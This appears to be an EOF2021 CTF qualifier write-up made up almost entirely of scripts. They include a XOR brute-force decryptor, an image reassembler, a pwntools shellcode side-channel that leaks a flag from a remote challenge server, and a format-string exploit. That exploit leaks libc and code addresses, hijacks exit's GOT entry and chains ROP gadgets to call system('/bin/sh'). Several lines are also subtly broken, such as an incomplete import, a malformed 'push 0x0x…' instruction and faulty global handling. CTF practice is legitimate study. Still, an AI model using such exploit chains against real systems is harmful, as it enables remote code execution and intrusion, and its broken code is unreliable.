EOF2021 Quals Write-Up

from string import printable


magic_seq, checked = [], False
printable_chars = bytes(printable + '\x00', 'ascii')
key = list(map(lambda x: int(f'0x{x}', 16), open('./key.txt').read().split()))
print('Key loaded.')


def decrypt(arr, off, validator):
    ret = []
    checked = False
    for x in range(len(arr)):
        org = bytes([ arr[x] ^ key[(x + off) % len(key)] ])
        
        if not validator(org):
            return (False, None)
        
        if org != b'\x00':
            ret.append(org)

    return (True, ret)

def is_printable(x):
    return True if x in printable_chars else False

def check_magic(x):
    magic_seq.append(x)
    if len(magic_seq) == 12 and not checked:
        checked = True
        magic_seq = []
        if magic_seq != bytes.fromhex('FFD8FFE000104A4649460001'):
            return False

    return True

cipher = open('./readme.txt', 'rb').read()
for i in range(len(key)):
    status, ret = decrypt(cipher, i, is_printable)

    if status:
        print(f'Offset {hex(i)} FOUND! file dumped.')
        out = open(f'./out{hex(i)}.txt', 'wb+')
        for e in ret:
            out.write(e)
        out.close()
        exit(0)

print('Offset not found...')

def split(v,sz):
    return [v[i:i+sz] for i in range(0,len(v),sz)]

def merge(images,ih):
    iw = 1-ih
    ws, hs = zip(*(i.size for i in images))
    nw = [sum(ws), max(ws)][iw]
    nh = [sum(hs), max(hs)][ih]
    new_im = Image.new('RGB', (nw,nh))
    x_offset = 0
    y_offset = 0
    for im in images:
        new_im.paste(im, (x_offset,y_offset))
        x_offset += im.size[0]*ih
        y_offset += im.size[1]*iw
    return new_im

def rearrange_images():
    images = [f'./decrypt/{i}.jpg' for i in range(1,144)]
    images = [(os.path.getsize(x),x)  for x in images]
    images = sorted(images)[::-1]
    images = [Image.open(x) for _,x in images]
    images = split(images,11)
    images = [merge(x,1) for x in images]
    images = merge(images,0)
    images.save('flag.jpg')

rearrange_images()

from pwn import 
from string import printable


context.arch = 'amd64'

def OuO(alpha, offset):
    global p 
    p = remote('eofqual.zoolab.org', 10101)

    p.sendlineafter('$ ', 'loadflag')
    payload = asm('''
        mov rax, qword ptr [rbp+0x8] 
        sub rax, 0xFFFFFFFFFFFFD733
        mov cl, byte ptr [rax+{}]
        cmp cl, {}
        
    n:
        je y
        push 0x0xFFFFFFFFFFFFFFFF
        ret
        
    y:
        ret
    '''.format(hex(offset), ord(alpha)))

    p.sendline('exec '.encode() + payload)
    try:
        p.recv(timeout = 1)
        
    except:
        return False
    
    return True

if __name__ == '__main__':
    flag, idx = 'FLAG{', 5
    try:
        while True:
            for a in printable:
                if OuO(a, idx):
                    flag += a
                    if a == '}':
                        success(f'Flag FOUND! : {flag}')
                        exit()

                    idx += 1
                    success(f'Success! Now Flag: {flag}')
                    break
    except:
        info('Exiting...')

from pwn import *


#p = process('/home/Illusion/illusion')
p = remote('eofqual.zoolab.org', 10104)

libc = ELF('/usr/lib/x86_64-linux-gnu/libc-2.31.so')

p.sendlineafter('?\n', 'STAR%15$p|%11$p')
p.recvuntil('STAR')
leak = p.recvline()[:-1].split(b'|')
code_leak = int(leak[0], 16)
libc_leak = int(leak[1], 16)

libc_base = libc_leak - (libc.sym['__libc_start_main'] + 243)
code_base = code_leak - 0x1211
exit_got = code_base + 0x5018

# Gadgets
# @Libc
system = libc_base + 0x55410
bin_sh = libc_base + 0x1b75aa

# @Chall
pop_r15_ret = code_base + 0x2bd2
pop_rdi_ret = code_base + 0x2bd3
ret = code_base + 0x101a

print(f'Leak : {list(map(lambda x : hex(int(x, 16)), leak))}')
info(f'Libc base : {hex(libc_base)}')
info(f'Code base : {hex(code_base)}')
info(f'system @ libc : {hex(system)}')
info(f'GOT of exit : {hex(exit_got)}')

# Hijack exit's GOT to run main again.
payload = '%{}c%22$hn'.format( (code_base + 0x1211) & 0xffff ).ljust(0x80, 'A').encode() + p64(exit_got)
p.sendlineafter('?\n', payload)
p.recvuntil('bye\n')

# Hijack exit@plt.got to pop_r15_ret and setup rop chain to open shell
info('Stacking ROPchain.')
payload = '%{}c%28$hn'.format( (pop_r15_ret) & 0xffff ).encode() 
p.sendlineafter('?\n', payload)

rop_chain = b''.join([
    p64(pop_rdi_ret),
    p64(bin_sh),
    p64(system),
])
print(hexdump(rop_chain))
p.sendlineafter('?\n', rop_chain)

success('Spawning a shell. OuO')
p.interactive()